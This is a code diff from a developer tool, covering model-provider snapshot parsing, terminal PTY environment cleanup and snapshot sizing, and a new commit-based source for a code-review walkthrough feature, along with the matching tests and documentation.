for (const [modelID, rawModel] of Object.entries(record(record(raw).models))) {
|
||||
const model = record(rawModel);
|
||||
const api = record(model.api);
|
||||
const modelURL = endpoint(api.url);
|
||||
const modelNpm = text(api.npm);
|
||||
models.set(modelID, { api: { url: modelURL, npm: modelNpm } });
|
||||
}
|
||||
const firstModel = models.values().next().value;
|
||||
const declaredKey = text(options.apiKey);
|
||||
providers.set(id, {
|
||||
id,
|
||||
source: text(record(raw).source),
|
||||
apiKey: declaredKey === ZEN_ANONYMOUS_API_KEY ? null : (declaredKey ?? text(record(raw).key)),
|
||||
baseURL: endpoint(options.baseURL) ?? endpoint(record(firstModel.api).url),
|
||||
baseURL: endpoint(options.baseURL) ?? firstModel?.api?.url ?? null,
|
||||
models,
|
||||
// True only for the zen-without-login case: a provider that is present
|
||||
// and usable through OpenCode, but that we must not call ourselves.
|
||||
anonymousZen: declaredKey === ZEN_ANONYMOUS_API_KEY,
|
||||
@@ -152,5 +162,3 @@ export async function getRuntimeProvider(providerID) {
|
||||
const current = await getRuntimeProviderSnapshot();
|
||||
return current?.providers.get(providerID) ?? null;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -14,7 +14,10 @@ const providerPayload = (overrides = {}) => ({
|
||||
id: 'llmapi',
|
||||
source: 'config',
|
||||
options: { apiKey: 'plugin-key', baseURL: 'https://api.llmapi.ai/v1/' },
|
||||
models: { 'claude-opus-4-8': { api: { id: 'claude-opus-4-8', url: '', npm: '@ai-sdk/anthropic' } } },
|
||||
models: {
|
||||
'claude-opus-4-8': { api: { id: 'claude-opus-4-8', url: '', npm: '@ai-sdk/anthropic' } },
|
||||
'gpt-5.6-luna': { api: { id: 'gpt-5.6-luna', url: 'https://api.llmapi.ai/v1', npm: '@ai-sdk/openai' } },
|
||||
},
|
||||
},
|
||||
{
|
||||
id: 'opencode',
|
||||
@@ -59,6 +62,9 @@ describe('OpenCode runtime provider snapshot', () => {
|
||||
const provider = await getRuntimeProvider('llmapi');
|
||||
|
||||
expect(provider).toMatchObject({ apiKey: 'plugin-key', baseURL: 'https://api.llmapi.ai/v1' });
|
||||
expect(provider.models.get('gpt-5.6-luna')).toEqual({
|
||||
api: { url: 'https://api.llmapi.ai/v1', npm: '@ai-sdk/openai' },
|
||||
});
|
||||
expect(fetchMock.mock.calls[0][0]).toBe('http://127.0.0.1:4096/provider');
|
||||
expect(fetchMock.mock.calls[0][1].headers).toMatchObject({ Authorization: 'Basic test' });
|
||||
});
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
`/api/terminal/ws` is the only terminal data transport. It uses v3 binary JSON control frames and is opened through `openRuntimeWebSocket`, preserving direct, Electron proxy, URL-token authentication, and private-relay routing.
|
||||
|
||||
- `attach` registers a connection for one terminal. One socket may attach to many terminals.
|
||||
- Every attach and reconnect begins with an authoritative `snapshot` containing bounded history and the current sequence.
|
||||
- Every attach and reconnect begins with an authoritative `snapshot` containing bounded history, the current sequence, and the PTY `cols`/`rows` the history was drawn for. The client replays the history at that size before fitting its viewport; replaying shell output at another width leaves stray fragments that the shell's own SIGWINCH redraw never clears.
|
||||
- A current socket that closes or errors before its initial `open` invalidates its URL-scoped auth token before retrying, so retries mint a fresh token instead of backing off against a rejected upgrade. Hidden or offline clients wait 60 seconds and wake promptly on visibility/online recovery.
|
||||
- `output`, `exit`, and `restarted` carry monotonically increasing per-terminal sequences. Output carries raw live bytes plus replay-safe bytes with terminal query exchanges removed.
|
||||
- Attach registers before capturing the snapshot, buffers concurrent events, drops events represented by the snapshot sequence, then enters live delivery.
|
||||
@@ -28,14 +28,14 @@ HTTP remains the authenticated command plane for create, resize, appearance upda
|
||||
- Concurrent creates for one ID are single-flight only when working directory, shell preference, login mode, launch mode, and session purpose match. Command-mode creates must also match the command text, unless the purpose is a project action that is already running for the same resolved `(cwd, actionId)` pair. In that case the runtime returns the existing session and its existing execution identity, even when another client requested a different session ID. Existing IDs cannot be reused for another working directory or another purpose.
|
||||
- Dimensions are bounded to 1-1000 columns and 1-500 rows; input is capped at 64 KiB.
|
||||
- A client may create before its renderer has mounted. It derives an initial size from the container and font metrics (falling back to 80x24 when unavailable), then sends a resize once Ghostty reports its final dimensions. This allows shell startup and renderer initialization to overlap.
|
||||
- PTY children explicitly clear `NODE_CHANNEL_FD`; daemon IPC descriptors are host-private and invalid after PTY descriptor cleanup.
|
||||
- PTY children also strip AppImage `ARGV0` (and other host-private shell vars such as `ELECTRON_RUN_AS_NODE`, `BASH_ENV`, `ENV`, `BASH_XTRACEFD`). An exported `ARGV0` makes zsh rewrite argv[0] for every external command, which breaks Python venv detection and other argv[0]/$0 consumers while leaving `/proc/self/exe` correct. On Linux, PTY spawn is wrapped with `env -u ARGV0` because `bun-pty` merges the native OS environ and would otherwise reintroduce `ARGV0` after a JS-only delete.
|
||||
- PTY children never inherit `NODE_CHANNEL_FD`; daemon IPC descriptors are host-private and invalid after PTY descriptor cleanup, and an inherited value (even empty) makes Node CLIs such as opencode print `Failed to parse IPC channel number` on exit.
|
||||
- PTY children also strip AppImage `ARGV0` (and other host-private shell vars such as `ELECTRON_RUN_AS_NODE`, `BASH_ENV`, `ENV`, `BASH_XTRACEFD`). An exported `ARGV0` makes zsh rewrite argv[0] for every external command, which breaks Python venv detection and other argv[0]/$0 consumers while leaving `/proc/self/exe` correct. On POSIX, PTY spawn is wrapped with `env -u ARGV0 -u NODE_CHANNEL_FD` (`resolvePosixPtyLaunch`) because `bun-pty` merges the native OS environ and would otherwise reintroduce both after a JS-only delete.
|
||||
- `GET /api/terminal/shells` reports shell IDs available on the active server using the same augmented PATH provided to spawned PTYs, plus whether each executable has a supported login-mode argument. `auto` preserves environment/platform fallback order; an explicit unavailable shell fails creation instead of silently running a different shell. Login mode is opt-in and uses only built-in arguments for known shells. Interactive shells still launch as before. Command-mode launches reuse the same environment and login support, but switch argv by shell family: POSIX and Fish use interactive `-c`, Nushell uses `-c`, PowerShell uses `-Command`, and cmd uses `/d /s /c`. Preference changes affect new sessions and explicit restarts, not running PTYs.
|
||||
- PTY data and exit callbacks enter one FIFO queue. The runtime wires those listeners in the same synchronous turn that receives the PTY object. `node-pty` and `bun-pty` both expose the PTY before dispatching registered callbacks. If a backend emitted exit before listener registration, this layer could not recover it, so the wiring stays adjacent to PTY creation.
|
||||
- Scrollback is retained on the server and capped at 512 KiB with UTF-8-safe trimming. Device-status, device-attribute, cursor-position reply, and color-query exchanges are removed from replay history with incomplete control sequences carried across PTY chunks; live output remains byte-for-byte unchanged.
|
||||
- Exited sessions remain attachable until explicit close, idle cleanup, or a successful replacement of the same project action. Creating a replacement retires only exited records for the same resolved directory and action, after the new PTY starts. Failed creation preserves the old record and output. These replaced records do not exhaust the terminal capacity limit.
|
||||
- Deduplicated create responses may describe another client's execution. Cancellation cleanup closes only the terminal ID allocated for the cancelled request; it never closes an adopted peer execution.
|
||||
- Create and restart validate the working directory with a real `stat` and answer HTTP 400 `Invalid working directory` when it is not a directory. When the path does not exist at all (`ENOENT`/`ENOTDIR`, a worktree deleted outside OpenChamber) the body also carries `code: "TERMINAL_CWD_MISSING"`. That is the one rejection the client can recover from: the session, not the terminal, is stranded, and the shared UI moves it to its project directory and starts a terminal there. Every other rejection stays generic; the runtime never substitutes a parent directory on its own.
|
||||
- Create and restart validate the working directory with a real `stat` and answer HTTP 400 `Invalid working directory` when it is not a directory. When the path does not exist at all (`ENOENT`/`ENOTDIR`, a worktree deleted outside OpenChamber) the body also carries `code: "TERMINAL_CWD_MISSING"`. The client shows the failure without moving the session. The runtime never substitutes a parent directory on its own.
|
||||
- Restarts are serialized per terminal. Each restart spawns and wires the replacement before terminating the old process, retaining the terminal ID. Command-mode sessions reject restart with HTTP 400 instead of silently turning into interactive shells with stale action metadata.
|
||||
- A delete that arrives while create is still pending leaves a cancellation tombstone. When the PTY arrives, the runtime terminates it immediately, never inserts the session into the live map, and returns a create error while the delete still succeeds.
|
||||
- Close uses SIGTERM with bounded SIGKILL escalation. Force-kill, idle cleanup, and runtime shutdown terminate process groups immediately where supported. Removal explicitly sends a fatal scoped closure and evicts client projections even when a PTY backend fails to emit `onExit`; attached terminals are not considered idle.
|
||||
|
||||
@@ -10,7 +10,7 @@ import {
|
||||
import { sanitizeTerminalHistoryChunk } from './history.js';
|
||||
import { consumeTerminalThemeQueries, terminalThemeModeReport } from './theme-response.js';
|
||||
import { buildTerminalShellLaunch, createTerminalShellResolver, normalizeTerminalShell } from './shells.js';
|
||||
import { stripAppImageArgv0Leak, resolveLinuxPtyLaunch } from '../inherited-env.js';
|
||||
import { stripAppImageArgv0Leak, resolvePosixPtyLaunch } from '../inherited-env.js';
|
||||
|
||||
const MAX_SESSIONS = 20;
|
||||
const MAX_HISTORY_BYTES = 512 * 1024;
|
||||
@@ -123,15 +123,16 @@ export function createTerminalRuntime({
|
||||
for (const executable of resolvedShell.executables) {
|
||||
try {
|
||||
const env = { ...process.env, PATH: buildAugmentedPath(), TERM: 'xterm-256color', COLORTERM: 'truecolor', COLORFGBG: themeMode === 'light' ? '0;15' : '15;0' };
|
||||
// The daemon's IPC fd is closed inside the PTY. An explicit override is
|
||||
// required because bun-pty also inherits Bun's native process environment.
|
||||
env.NODE_CHANNEL_FD = '';
|
||||
// The daemon's IPC fd is closed inside the PTY; an inherited NODE_CHANNEL_FD
|
||||
// (even an empty one) makes Node CLIs warn about an unparsable IPC channel.
|
||||
delete env.NODE_CHANNEL_FD;
|
||||
delete env.BASH_XTRACEFD; delete env.BASH_ENV; delete env.ENV; delete env.ELECTRON_RUN_AS_NODE;
|
||||
// AppImage exports ARGV0; zsh would otherwise rewrite argv[0] for every command (#2588).
|
||||
// bun-pty also merges the native OS environ, so wrap with `env -u ARGV0` on Linux.
|
||||
stripAppImageArgv0Leak(env);
|
||||
const shellLaunch = buildTerminalShellLaunch(executable, { mode, command, loginShell });
|
||||
const launch = resolveLinuxPtyLaunch(shellLaunch.executable, shellLaunch.args);
|
||||
// bun-pty merges the native OS environ back in, so the POSIX launch is
|
||||
// wrapped with `env -u` for the variables deleted above.
|
||||
const launch = resolvePosixPtyLaunch(shellLaunch.executable, shellLaunch.args);
|
||||
const options = { name: 'xterm-256color', cwd, cols, rows, env };
|
||||
if (process.platform === 'win32') options.useConpty = true;
|
||||
return { process: await provider.spawn(launch.executable, launch.args, options), backend: provider.backend, shell: resolvedShell.id, loginShell };
|
||||
@@ -184,6 +185,10 @@ export function createTerminalRuntime({
|
||||
|
||||
const snapshot = (session) => ({
|
||||
t: 'snapshot', v: 3, s: session.id, q: session.sequence, history: session.history,
|
||||
// The PTY size the history was drawn for: a client replays history at this
|
||||
// size before fitting its own viewport, so shell output wrapped for one
|
||||
// width never gets re-laid-out at another.
|
||||
cols: session.cols, rows: session.rows,
|
||||
status: session.status, exitCode: session.exitCode, signal: session.signal,
|
||||
mode: session.mode ?? INTERACTIVE_TERMINAL_MODE, purpose: getSessionPurpose(session),
|
||||
runtime, ptyBackend: session.backend,
|
||||
|
||||
@@ -319,12 +319,12 @@ describe('terminal runtime', () => {
|
||||
expect(response.body).toEqual({ sessionId: 'term-1', cols: 120, rows: 40, status: 'running', mode: 'interactive', purpose: { type: 'terminal' } });
|
||||
expect(harness.processes[0].options.cwd).toBe('/repo');
|
||||
expect(harness.processes[0].options.env.COLORFGBG).toBe('0;15');
|
||||
expect(harness.processes[0].options.env.NODE_CHANNEL_FD).toBe('');
|
||||
expect(harness.processes[0].options.env).not.toHaveProperty('NODE_CHANNEL_FD');
|
||||
expect(harness.processes[0].options.env).not.toHaveProperty('ARGV0');
|
||||
expect(harness.processes[0].options.env).not.toHaveProperty('ELECTRON_RUN_AS_NODE');
|
||||
if (process.platform === 'linux') {
|
||||
if (process.platform !== 'win32') {
|
||||
expect(harness.processes[0].shell).toMatch(/\/env$/);
|
||||
expect(harness.processes[0].args.slice(0, 3)).toEqual(['-u', 'ARGV0', expect.any(String)]);
|
||||
expect(harness.processes[0].args.slice(0, 5)).toEqual(['-u', 'ARGV0', '-u', 'NODE_CHANNEL_FD', expect.any(String)]);
|
||||
}
|
||||
harness.processes[0].emitData('\u001b[?2031h\u001b]10;?\u0007\u001b]11;?\u0007\u001b[0c');
|
||||
expect(harness.processes[0].writes).toEqual(['\u001b]10;rgb:1b1b/1b1b/1b1b\u001b\\', '\u001b]11;rgb:fafa/f8f8/f0f0\u001b\\', '\u001b[?1;2c']);
|
||||
@@ -380,7 +380,7 @@ describe('terminal runtime', () => {
|
||||
await harness.routes.post.get('/api/terminal/create')({ body: { sessionId: 'term-argv0', cwd: '/repo', cols: 80, rows: 24 } }, response);
|
||||
expect(response.statusCode).toBe(200);
|
||||
expect(harness.processes[0].options.env).not.toHaveProperty('ARGV0');
|
||||
if (process.platform === 'linux') {
|
||||
if (process.platform !== 'win32') {
|
||||
expect(harness.processes[0].shell).toMatch(/\/env$/);
|
||||
expect(harness.processes[0].args[0]).toBe('-u');
|
||||
expect(harness.processes[0].args[1]).toBe('ARGV0');
|
||||
@@ -417,9 +417,9 @@ describe('terminal runtime', () => {
|
||||
const created = createResponse();
|
||||
await harness.routes.post.get('/api/terminal/create')({ body: { sessionId: 'term-shell', cwd: '/repo', shell: 'zsh', loginShell: true } }, created);
|
||||
expect(created.statusCode).toBe(200);
|
||||
if (process.platform === 'linux') {
|
||||
if (process.platform !== 'win32') {
|
||||
expect(harness.processes[0].shell).toMatch(/\/env$/);
|
||||
expect(harness.processes[0].args).toEqual(['-u', 'ARGV0', '/bin/zsh', '-l']);
|
||||
expect(harness.processes[0].args).toEqual(['-u', 'ARGV0', '-u', 'NODE_CHANNEL_FD', '/bin/zsh', '-l']);
|
||||
} else {
|
||||
expect(harness.processes[0].shell).toBe('/bin/zsh');
|
||||
expect(harness.processes[0].args).toEqual(['-l']);
|
||||
@@ -428,9 +428,9 @@ describe('terminal runtime', () => {
|
||||
const restarted = createResponse();
|
||||
await harness.routes.post.get('/api/terminal/:sessionId/restart')({ params: { sessionId: 'term-shell' }, body: { shell: 'bash', loginShell: true } }, restarted);
|
||||
expect(restarted.statusCode).toBe(200);
|
||||
if (process.platform === 'linux') {
|
||||
if (process.platform !== 'win32') {
|
||||
expect(harness.processes[1].shell).toMatch(/\/env$/);
|
||||
expect(harness.processes[1].args).toEqual(['-u', 'ARGV0', '/bin/bash', '-l']);
|
||||
expect(harness.processes[1].args).toEqual(['-u', 'ARGV0', '-u', 'NODE_CHANNEL_FD', '/bin/bash', '-l']);
|
||||
} else {
|
||||
expect(harness.processes[1].shell).toBe('/bin/bash');
|
||||
expect(harness.processes[1].args).toEqual(['-l']);
|
||||
@@ -682,8 +682,8 @@ describe('terminal runtime', () => {
|
||||
sockets.push(first.socket);
|
||||
first.socket.send(createTerminalWsControlFrame({ t: 'attach', v: 3, s: 'term-live' }));
|
||||
first.socket.send(createTerminalWsControlFrame({ t: 'attach', v: 3, s: 'term-second' }));
|
||||
expect(await first.next('snapshot', 'term-live')).toMatchObject({ s: 'term-live', q: 0, history: '', status: 'running' });
|
||||
expect(await first.next('snapshot', 'term-second')).toMatchObject({ s: 'term-second', q: 0, history: '', status: 'running' });
|
||||
expect(await first.next('snapshot', 'term-live')).toMatchObject({ s: 'term-live', q: 0, history: '', status: 'running', cols: 80, rows: 24 });
|
||||
expect(await first.next('snapshot', 'term-second')).toMatchObject({ s: 'term-second', q: 0, history: '', status: 'running', cols: 80, rows: 24 });
|
||||
first.socket.send(createTerminalWsControlFrame({ t: 'write', v: 3, s: 'term-live', d: 'echo ok\r' }));
|
||||
first.socket.send(createTerminalWsControlFrame({ t: 'write', v: 3, s: 'term-second', d: 'pwd\r' }));
|
||||
first.socket.send(createTerminalWsControlFrame({ t: 'write', v: 3, s: 'term-live', d: 'echo next\r' }));
|
||||
@@ -707,10 +707,17 @@ describe('terminal runtime', () => {
|
||||
expect(secondClosed.status).toBe(200);
|
||||
first.socket.close();
|
||||
|
||||
// A reconnecting client replays history at the size the PTY currently has.
|
||||
const resized = await fetch(`${base}/api/terminal/term-live/resize`, {
|
||||
method: 'POST', headers: { 'content-type': 'application/json' },
|
||||
body: JSON.stringify({ cols: 120, rows: 40 }),
|
||||
});
|
||||
expect(resized.status).toBe(200);
|
||||
|
||||
const second = await openTerminalSocket(socketUrl);
|
||||
sockets.push(second.socket);
|
||||
second.socket.send(createTerminalWsControlFrame({ t: 'attach', v: 3, s: 'term-live' }));
|
||||
expect(await second.next('snapshot')).toMatchObject({ s: 'term-live', q: 2, history: 'ok\r\n', status: 'running' });
|
||||
expect(await second.next('snapshot')).toMatchObject({ s: 'term-live', q: 2, history: 'ok\r\n', status: 'running', cols: 120, rows: 40 });
|
||||
processes[0].emitExit(7);
|
||||
expect(await second.next('exit')).toMatchObject({ s: 'term-live', q: 3, exitCode: 7 });
|
||||
|
||||
@@ -750,9 +757,9 @@ describe('terminal runtime', () => {
|
||||
|
||||
expect(response.statusCode).toBe(200);
|
||||
expect(response.body).toEqual({ sessionId: 'term-command', cols: 80, rows: 24, status: 'running', mode: 'command', purpose: { type: 'terminal' } });
|
||||
if (process.platform === 'linux') {
|
||||
if (process.platform !== 'win32') {
|
||||
expect(harness.processes[0].shell).toMatch(/\/env$/);
|
||||
expect(harness.processes[0].args).toEqual(['-u', 'ARGV0', '/bin/bash', '-l', '-i', '-c', 'printf ready']);
|
||||
expect(harness.processes[0].args).toEqual(['-u', 'ARGV0', '-u', 'NODE_CHANNEL_FD', '/bin/bash', '-l', '-i', '-c', 'printf ready']);
|
||||
} else {
|
||||
expect(harness.processes[0].args).toEqual(['-l', '-i', '-c', 'printf ready']);
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ has to ask for it.
|
||||
`PROMPT_VERSION`.
|
||||
- `schema.js` — response schema, response normalization, tolerant JSON parsing.
|
||||
- `store.js` — content-addressed cache entries plus mutable pointers.
|
||||
- `pull-request.js` — PR/MR diffs; the provider (GitHub octokit or GitLab REST client) is chosen by the git remote.
|
||||
- `pull-request.js` — PR diffs via the shared GitHub octokit helper.
|
||||
- `model-settings.js` — the feature's own model override.
|
||||
- `languages.js` — the languages the prose may be written in.
|
||||
- `index.js` — orchestration.
|
||||
@@ -52,28 +52,39 @@ written against staged code never silently re-anchors onto an unstaged edit.
|
||||
| Kind | Sections | Notes |
|
||||
|---|---|---|
|
||||
| `working-tree` (`all` \| `staged` \| `working`) | `staged`, `working` | Untracked files are fetched individually because `git diff` omits them |
|
||||
| `branch` | `branch` | `getRangeDiff` uses three-dot `base...head`, so work merged in from the base branch is excluded |
|
||||
| `pr` | `pr:<number>` | GitHub returns the merge-base diff; a GitLab remote concatenates the merge request's diffs instead — both match the branch semantics |
|
||||
| `branch` | `branch` | `getRangeDiff` with `includeWorkingTree: true` compares the selected merge base with current files, including committed and local work in one net diff |
|
||||
| `commit` | `commit` | `getCommitDiff` compares the full selected commit hash with its first parent; root commits compare with an empty tree |
|
||||
| `pr` | `pr:<number>` | GitHub's committed pull-request diff, without local working-tree changes |
|
||||
|
||||
Provider selection lives in `pull-request.js`: the directory's git remote
|
||||
decides. A GitLab remote resolves through `resolveGitLabRepoFromDirectory` and
|
||||
fetches `merge_requests/:iid/diffs` pages (capped at 10), concatenating the
|
||||
per-file diffs into one patch; anything else falls back to the GitHub pull
|
||||
request API. A GitLab directory without a connected GitLab account fails with
|
||||
`401 gitlab-not-connected`, and an MR with no diffs fails with
|
||||
`404 empty-diff`, the same code an empty GitHub PR uses.
|
||||
Changes and walkthrough resolve the current branch's base through
|
||||
`packages/ui/src/hooks/useBranchComparisonBase.ts`. An explicit choice in Changes
|
||||
outranks reflog detection. Both toolbars use
|
||||
`packages/ui/src/components/views/git/BranchComparisonSelector.tsx` to select or
|
||||
change the base directly. Walkthrough allows selecting Branch before a base is
|
||||
known and waits for a valid choice before loading or generating. Opening
|
||||
walkthrough from Changes carries the selected base and head; later selections
|
||||
in either toolbar update both comparisons.
|
||||
|
||||
For the current-branch source, the UI takes the base from the default branch of
|
||||
the current branch's tracking remote (`defaultBranches` in the branches
|
||||
response), and only then falls back to the conventional names. It does not offer
|
||||
the source at all when the chosen base exists neither locally nor on a remote —
|
||||
a repository whose default is neither `main`, `master` nor `develop` used to be
|
||||
handed `main...<head>`, which git rejects outright.
|
||||
Commit mode uses the shared `CommitComparisonSelector` in both toolbars. It
|
||||
lists the latest 50 commits reachable from the checked-out branch, with subject,
|
||||
author, date, and short hash. Opening the picker refreshes that list; selecting a
|
||||
commit changes the comparison, not the checkout. Changes hands the selected full
|
||||
hash to walkthrough. The server accepts full object IDs for commit sources and
|
||||
keys their cache entries and generation jobs as `commit:<hash>`, so reviews of
|
||||
different commits cannot overwrite each other. Existing source keys keep their
|
||||
format. Commit reads have no working-tree freshness dependency, and selecting a
|
||||
commit never starts model generation.
|
||||
|
||||
A base that exists only on a remote still works: `getRangeDiff` prefers
|
||||
`origin/<base>` when it exists, and otherwise resolves the base through whichever
|
||||
remote carries it, because a bare branch name git cannot find in `refs/heads`
|
||||
fails the same way.
|
||||
The Git module owns exact-ref and working-tree comparison semantics. Local and
|
||||
remote bases remain distinct, and a checkout during a branch review requires
|
||||
the source to be resolved for the new branch rather than including another
|
||||
branch's local files.
|
||||
|
||||
Successful status refreshes invalidate the visible branch comparison even when
|
||||
file names and insertion/deletion counts stay the same. Walkthrough refreshes
|
||||
its current hunk index while visible; regeneration remains user-initiated. The
|
||||
content-addressed cache continues to reuse an old review only when its hunks
|
||||
match, and otherwise reports stale anchors and uncovered current hunks.
|
||||
|
||||
The panel offers the current branch's pull request on its own: it registers with
|
||||
the shared GitHub PR status store (`useGitHubPrStatusStore`) rather than waiting
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import path from 'path';
|
||||
import { readMergedSettingsSync } from '../opencode/settings-files.js';
|
||||
|
||||
// The walkthrough may run on a different model than the rest of the small-model
|
||||
// callers. Those callers want cheap and fast; this one needs structured output
|
||||
@@ -23,16 +24,11 @@ const SETTINGS_FILE = path.join(
|
||||
* not use the small model" with nothing to use instead.
|
||||
*/
|
||||
export function readWalkthroughModelOverride() {
|
||||
try {
|
||||
const settings = JSON.parse(fs.readFileSync(SETTINGS_FILE, 'utf8'));
|
||||
if (!settings || typeof settings !== 'object') return null;
|
||||
const override = typeof settings.walkthroughModelOverride === 'string'
|
||||
? settings.walkthroughModelOverride.trim()
|
||||
: '';
|
||||
return override || null;
|
||||
} catch {
|
||||
// No settings file, unreadable, or malformed all mean the same thing: no
|
||||
// override, use the small model.
|
||||
return null;
|
||||
}
|
||||
// No settings file, unreadable, or malformed all mean the same thing: no
|
||||
// override, use the small model.
|
||||
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: SETTINGS_FILE });
|
||||
const override = typeof settings.walkthroughModelOverride === 'string'
|
||||
? settings.walkthroughModelOverride.trim()
|
||||
: '';
|
||||
return override || null;
|
||||
}
|
||||
|
||||
@@ -86,7 +86,9 @@ export function buildPrompt({ digest, fileCount, hunkCount, source, previousWalk
|
||||
? `Uncommitted local changes (${source.scope === 'all' ? 'staged and unstaged' : source.scope}).`
|
||||
: source.kind === 'branch'
|
||||
? `All work on branch "${source.headRef}" that is not in "${source.baseRef}". Changes merged in from ${source.baseRef} are already excluded.`
|
||||
: `Pull request #${source.number}.`;
|
||||
: source.kind === 'commit'
|
||||
? `Only the changes introduced by commit ${source.hash}, relative to its first parent (or the empty tree for a root commit).`
|
||||
: `Pull request #${source.number}.`;
|
||||
|
||||
const prompt = `Reviewing: ${sourceLine}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { getDiff, getRangeDiff, getUntrackedDiffs, listUntrackedPaths } from '../git/service.js';
|
||||
import { getDiff, getRangeDiff, getCommitDiff, getUntrackedDiffs, listUntrackedPaths } from '../git/service.js';
|
||||
|
||||
// A walkthrough source resolves to one or more diff *sections*. A section is a
|
||||
// patch plus the scope its hunk ids live in; keeping staged and working-tree
|
||||
@@ -48,6 +48,18 @@ export function parseSource(raw) {
|
||||
return { kind: 'pr', number };
|
||||
}
|
||||
|
||||
if (raw.kind === 'commit') {
|
||||
// Sources are content-addressed: accept a full object id, never a moving ref.
|
||||
if (!/^(?:[0-9a-f]{40}|[0-9a-f]{64})$/i.test(raw.hash)) {
|
||||
throw new WalkthroughSourceError('commit sources require a full commit hash');
|
||||
}
|
||||
try {
|
||||
return { kind: 'commit', hash: raw.hash.toLowerCase() };
|
||||
} catch {
|
||||
throw new WalkthroughSourceError('commit sources require a full commit hash');
|
||||
}
|
||||
}
|
||||
|
||||
throw new WalkthroughSourceError(`Unknown source kind "${String(raw.kind)}"`);
|
||||
}
|
||||
|
||||
@@ -58,6 +70,7 @@ export function parseSource(raw) {
|
||||
export function sourceKey(source) {
|
||||
if (source.kind === 'working-tree') return `working-tree:${source.scope}`;
|
||||
if (source.kind === 'branch') return `branch:${source.baseRef}...${source.headRef}`;
|
||||
if (source.kind === 'commit') return `commit:${source.hash}`;
|
||||
return `pr:${source.number}`;
|
||||
}
|
||||
|
||||
@@ -97,13 +110,21 @@ export async function loadSourceSections(directory, source, { getPullRequestDiff
|
||||
}
|
||||
|
||||
if (source.kind === 'branch') {
|
||||
const patch = await getRangeDiff(directory, { base: source.baseRef, head: source.headRef });
|
||||
const patch = await getRangeDiff(directory, { base: source.baseRef, head: source.headRef, includeWorkingTree: true });
|
||||
return {
|
||||
sections: patch && patch.trim() ? [{ scope: 'branch', patch }] : [],
|
||||
meta: { baseRef: source.baseRef, headRef: source.headRef },
|
||||
};
|
||||
}
|
||||
|
||||
if (source.kind === 'commit') {
|
||||
const patch = await getCommitDiff(directory, { hash: source.hash });
|
||||
return {
|
||||
sections: patch.trim() ? [{ scope: 'commit', patch }] : [],
|
||||
meta: { hash: source.hash },
|
||||
};
|
||||
}
|
||||
|
||||
if (typeof getPullRequestDiff !== 'function') {
|
||||
throw new WalkthroughSourceError('Pull request diffs are unavailable', 500);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user